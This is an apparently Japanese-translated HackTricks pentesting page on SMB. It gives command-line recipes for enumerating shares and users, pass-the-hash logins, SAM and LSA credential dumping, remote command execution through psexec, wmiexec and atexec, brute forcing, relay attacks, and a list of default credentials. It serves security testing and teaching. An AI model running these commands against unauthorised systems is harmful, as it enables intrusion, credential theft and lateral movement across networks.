hacktricks/network-services-pentesting/pentesting-smb.md

555 lines
31 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 139,445 - Pentesting SMB
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **ポート 139**
_**ネットワーク基本入出力システム**_** (NetBIOS)** は、ローカルエリアネットワーク (LAN) 内のアプリケーション、PC、およびデスクトップがネットワークハードウェアと相互作用し、**ネットワークを介してデータの送信を促進する**ために設計されたソフトウェアプロトコルです。NetBIOSネットワーク上で動作するソフトウェアアプリケーションの識別と位置特定は、最大16文字の長さを持ち、コンピュータ名とは異なることが多いNetBIOS名を通じて行われます。2つのアプリケーション間のNetBIOSセッションは、1つのアプリケーションクライアントとして機能が**TCPポート139**を利用して別のアプリケーション(サーバーとして機能)を「呼び出す」コマンドを発行することで開始されます。
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## ポート 445
技術的には、ポート 139 は「NBT over IP」と呼ばれ、ポート 445 は「SMB over IP」として識別されます。略語 **SMB** は「**Server Message Blocks**」の略で、現代では **Common Internet File System (CIFS)** としても知られています。アプリケーション層のネットワークプロトコルとして、SMB/CIFS は主にファイル、プリンター、シリアルポートへの共有アクセスを可能にし、ネットワーク上のノード間のさまざまな通信形態を促進するために利用されます。
例えば、Windows の文脈では、SMB が TCP/IP 上で直接動作できることが強調されており、ポート 445 を利用することで TCP/IP 上の NetBIOS の必要性が排除されます。逆に、異なるシステムではポート 139 の使用が観察され、SMB が TCP/IP 上の NetBIOS と共に実行されていることを示しています。
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
**Server Message Block (SMB)**プロトコルは、**クライアント-サーバ**モデルで動作し、**ファイル**、ディレクトリ、およびプリンタやルータなどの他のネットワークリソースへの**アクセス**を規制するために設計されています。主に**Windows**オペレーティングシステムシリーズ内で利用され、SMBは後方互換性を確保し、Microsoftのオペレーティングシステムの新しいバージョンを搭載したデバイスが古いバージョンを実行しているデバイスとシームレスに相互作用できるようにします。さらに、**Samba**プロジェクトは、SMBの実装を**Linux**およびUnixシステムで可能にする無料のソフトウェアソリューションを提供し、SMBを通じたクロスプラットフォーム通信を促進します。
**ローカルファイルシステムの任意の部分**を表す共有は、SMBサーバーによって提供され、クライアントに対してサーバーの実際の構造とは部分的に**独立した**階層を表示します。**アクセス制御リスト (ACL)**は、**アクセス権**を定義し、**実行**、**読み取り**、および**フルアクセス**などの属性を含むユーザー権限に対する**細かい制御**を可能にします。これらの権限は、共有に基づいて個々のユーザーまたはグループに割り当てることができ、サーバー上のローカル権限とは異なります。
### IPC$ Share
IPC$共有へのアクセスは、匿名のヌルセッションを通じて取得でき、名前付きパイプを介して公開されたサービスとの相互作用を可能にします。この目的には、ユーティリティ`enum4linux`が便利です。適切に利用されると、次の情報を取得できます:
* オペレーティングシステムに関する情報
* 親ドメインの詳細
* ローカルユーザーおよびグループの一覧
* 利用可能なSMB共有に関する情報
* 有効なシステムセキュリティポリシー
この機能は、ネットワーク管理者やセキュリティ専門家がネットワーク上のSMBServer Message Blockサービスのセキュリティ姿勢を評価するために重要です。`enum4linux`は、ターゲットシステムのSMB環境の包括的なビューを提供し、潜在的な脆弱性を特定し、SMBサービスが適切に保護されていることを確認するために不可欠です。
```bash
enum4linux -a target_ip
```
上記のコマンドは、`target_ip`で指定されたターゲットに対して完全な列挙を実行するために`enum4linux`がどのように使用されるかの例です。
## NTLMとは
NTLMが何であるか知らない場合や、その仕組みや悪用方法を知りたい場合は、**NTLM**に関するこのページが非常に興味深いでしょう。ここでは**このプロトコルの仕組みとそれを利用する方法**が説明されています。
{% content-ref url="../windows-hardening/ntlm/" %}
[ntlm](../windows-hardening/ntlm/)
{% endcontent-ref %}
## **サーバー列挙**
### **スキャン** ネットワークを検索してホストを探す:
```bash
nbtscan -r 192.168.0.1/24
```
### SMBサーバーバージョン
SMBバージョンの可能なエクスプロイトを探すには、どのバージョンが使用されているかを知ることが重要です。この情報が他の使用されているツールに表示されない場合は、次のことができます
* **MSF**補助モジュール\_**auxiliary/scanner/smb/smb\_version**を使用する
* またはこのスクリプトを使用する:
```bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **エクスプロイトを検索**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **可能な** 認証情報
| **ユーザー名** | **一般的なパスワード** |
| -------------------- | ----------------------------------------- |
| _(空白)_ | _(空白)_ |
| ゲスト | _(空白)_ |
| 管理者, admin | _(空白)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
### ブルートフォース
* [**SMB ブルートフォース**](../generic-methodologies-and-resources/brute-force.md#smb)
### SMB 環境情報
### 情報を取得
```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### ユーザー、グループおよびログオンユーザーの列挙
この情報はすでにenum4linuxおよびenum4linux-ngから収集されているはずです。
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### ローカルユーザーの列挙
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
lookupsid.py -no-pass hostname.local
```
ワンライナー
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - ローカルユーザーの列挙
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run
```
### **LSARPCとSAMR rpcclientの列挙**
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
{% endcontent-ref %}
### LinuxからのGUI接続
#### ターミナルで:
`xdg-open smb://cascade.htb/`
#### ファイルブラウザウィンドウnautilus、thunarなど
`smb://friendzone.htb/general/`
## 共有フォルダの列挙
### 共有フォルダのリスト
アクセスできるものがないか確認することを常にお勧めします。資格情報がない場合は、**null** **資格情報/ゲストユーザー**を使用してみてください。
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list
crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user
```
### **共有フォルダーに接続/リスト**
```bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls' to list recursively with smbclient
#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash
```
### **手動でWindows共有を列挙し、接続する**
ホストマシンの共有を表示することが制限されている可能性があり、リストを表示しようとすると接続できる共有がないように見えることがあります。そのため、共有に手動で接続してみる価値があるかもしれません。共有を手動で列挙するには、有効なセッションヌルセッションまたは有効な資格情報を使用して、NT\_STATUS\_ACCESS\_DENIEDやNT\_STATUS\_BAD\_NETWORK\_NAMEのような応答を探すと良いでしょう。これらは、共有が存在し、アクセスできないか、共有がまったく存在しないかを示す可能性があります。
Windowsターゲットの一般的な共有名は次のとおりです。
* C$
* D$
* ADMIN$
* IPC$
* PRINT$
* FAX$
* SYSVOL
* NETLOGON
_**Network Security Assessment 3rd edition**_からの一般的な共有名
次のコマンドを使用して接続を試みることができます。
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
```
このスクリプト(ヌルセッションを使用)
```bash
#/bin/bash
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done
```
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session
```
### **Windowsからの共有を列挙する / サードパーティツールなし**
PowerShell
```powershell
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
CMDコンソール
```shell
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
```
MMCスナップイングラフィカル
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc
```
explorer.exe (グラフィカル)で、利用可能な非表示の共有を表示するには `\\<ip>\` を入力します。
### 共有フォルダをマウントする
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **ファイルのダウンロード**
資格情報/Pass-the-Hashを使用して接続する方法については、前のセクションを参照してください。
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
```
```bash
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory
```
Commands:
* mask: ディレクトリ内のファイルをフィルタリングするために使用されるマスクを指定します(例: "" すべてのファイル)
* recurse: 再帰をオンに切り替えます(デフォルト: オフ)
* prompt: ファイル名のプロンプトをオフに切り替えます(デフォルト: オン)
* mget: ホストからクライアントマシンにマスクに一致するすべてのファイルをコピーします
(_Information from the manpage of smbclient_)
### Domain Shared Folders Search
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
```bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) スパイダー。
* `-M spider_plus [--share <share_name>]`
* `--pattern txt`
```bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'
```
特に興味深いのは、**`Registry.xml`** というファイルで、これは **autologon** がグループポリシーを介して設定されたユーザーの **パスワード** を含んでいる可能性があります。また、**`web.config`** ファイルも、認証情報を含んでいます。
{% hint style="info" %}
**SYSVOL共有** は、ドメイン内のすべての認証されたユーザーによって **読み取り可能** です。そこには、さまざまなバッチ、VBScript、および PowerShell **スクリプト** が多数 **見つかる** かもしれません。\
その中の **スクリプト****確認** するべきで、**パスワード** などの機密情報を **見つける** 可能性があります。
{% endhint %}
## レジストリの読み取り
発見した認証情報を使用して **レジストリを読み取る** ことができるかもしれません。Impacket **`reg.py`** を使用して試すことができます:
```bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
## Post Exploitation
**Samba**サーバーの**デフォルト設定**は通常`/etc/samba/smb.conf`にあり、いくつかの**危険な設定**が含まれている可能性があります:
| **設定** | **説明** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | 現在の共有で利用可能な共有をリスト表示することを許可しますか? |
| `read only = no` | ファイルの作成と変更を禁止しますか? |
| `writable = yes` | ユーザーがファイルを作成および変更することを許可しますか? |
| `guest ok = yes` | パスワードを使用せずにサービスに接続することを許可しますか? |
| `enable privileges = yes` | 特定のSIDに割り当てられた権限を尊重しますか |
| `create mask = 0777` | 新しく作成されたファイルにどの権限を割り当てる必要がありますか? |
| `directory mask = 0777` | 新しく作成されたディレクトリにどの権限を割り当てる必要がありますか? |
| `logon script = script.sh` | ユーザーのログイン時に実行する必要があるスクリプトは何ですか? |
| `magic script = script.sh` | スクリプトが閉じられたときに実行すべきスクリプトはどれですか? |
| `magic output = script.out` | マジックスクリプトの出力をどこに保存する必要がありますか? |
コマンド`smbstatus`は**サーバー**に関する情報と**接続している人**についての情報を提供します。
## Authenticate using Kerberos
**smbclient**および**rpcclient**ツールを使用して**kerberos**に**認証**できます:
```bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
## **コマンドの実行**
### **crackmapexec**
crackmapexecは、**mmcexec、smbexec、atexec、wmiexec**のいずれかを**悪用して**コマンドを実行できます。**wmiexec**が**デフォルト**の方法です。使用したいオプションを`--exec-method`パラメータで指定できます:
```bash
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
両方のオプションは、**新しいサービスを作成します**SMB経由で _\pipe\svcctl_ を使用)被害者のマシンで、これを使用して**何かを実行します****psexec**は**実行可能ファイルをADMIN$共有にアップロードし、**smbexec**は**cmd.exe/powershell.exe**を指し、引数にペイロードを入れます --**ファイルレス技術-**-)。\
**詳細情報**は[**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)と[**smbexec**](../windows-hardening/ntlm/smbexec.md)を参照してください。\
**kali**では、/usr/share/doc/python3-impacket/examples/にあります。
```bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
**パラメーター**`-k`を使用すると、**NTLM**の代わりに**kerberos**に対して認証できます。
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
ディスクに触れず、新しいサービスを実行することなく、**ポート135**を介してDCOMを使用してコマンドシェルを stealthily 実行します。\
**kali**では、/usr/share/doc/python3-impacket/examples/にあります。
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
**パラメーター**`-k`を使用すると、**NTLM**の代わりに**kerberos**に対して認証できます。
```bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted
```
### [AtExec](../windows-hardening/ntlm/atexec.md)
タスクスケジューラを介してコマンドを実行しますSMB経由で _\pipe\atsvc_ を使用)。\
**kali** では /usr/share/doc/python3-impacket/examples/ にあります。
```bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
## Impacket reference
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **ユーザー資格情報のブルートフォース**
**これは推奨されません。最大許可試行回数を超えるとアカウントがブロックされる可能性があります**
```bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name
```
## SMBリレー攻撃
この攻撃は、Responderツールキットを使用して**内部ネットワーク上のSMB認証セッションをキャプチャ**し、それを**ターゲットマシン**に**中継**します。認証**セッションが成功すると**、自動的に**システム**の**シェル**に入ります。\
[**この攻撃に関する詳細情報はこちら。**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
WindowsライブラリURLMon.dllは、ページがSMBを介してコンテンツにアクセスしようとすると、自動的にホストに認証を試みます。例えば`img src="\\10.10.10.10\path\image.jpg"`
これは以下の関数で発生します:
* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream
これらは、一部のブラウザやツールSkypeなどによって使用されます。
![出典: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
### MitMfを使用したSMBTrap
![出典: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
## NTLM窃盗
SMBトラッピングに似て、ターゲットシステムに悪意のあるファイルを植え付ける例えばSMB経由でことで、SMB認証の試行を引き起こし、NetNTLMv2ハッシュをResponderのようなツールで傍受することができます。ハッシュはオフラインでクラックするか、[SMBリレー攻撃](pentesting-smb.md#smb-relay-attack)に使用できます。
[参照: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
## HackTricks自動コマンド
```
Protocol_Name: SMB #Protocol Abbreviation if there is one.
Port_Number: 137,138,139 #Comma separated if there is more than one.
Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as NBT over IP, Port 445 is SMB over IP. SMB stands for Server Message Blocks. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.
#These are the commands I run in order every time I see an open SMB port
With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445 enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}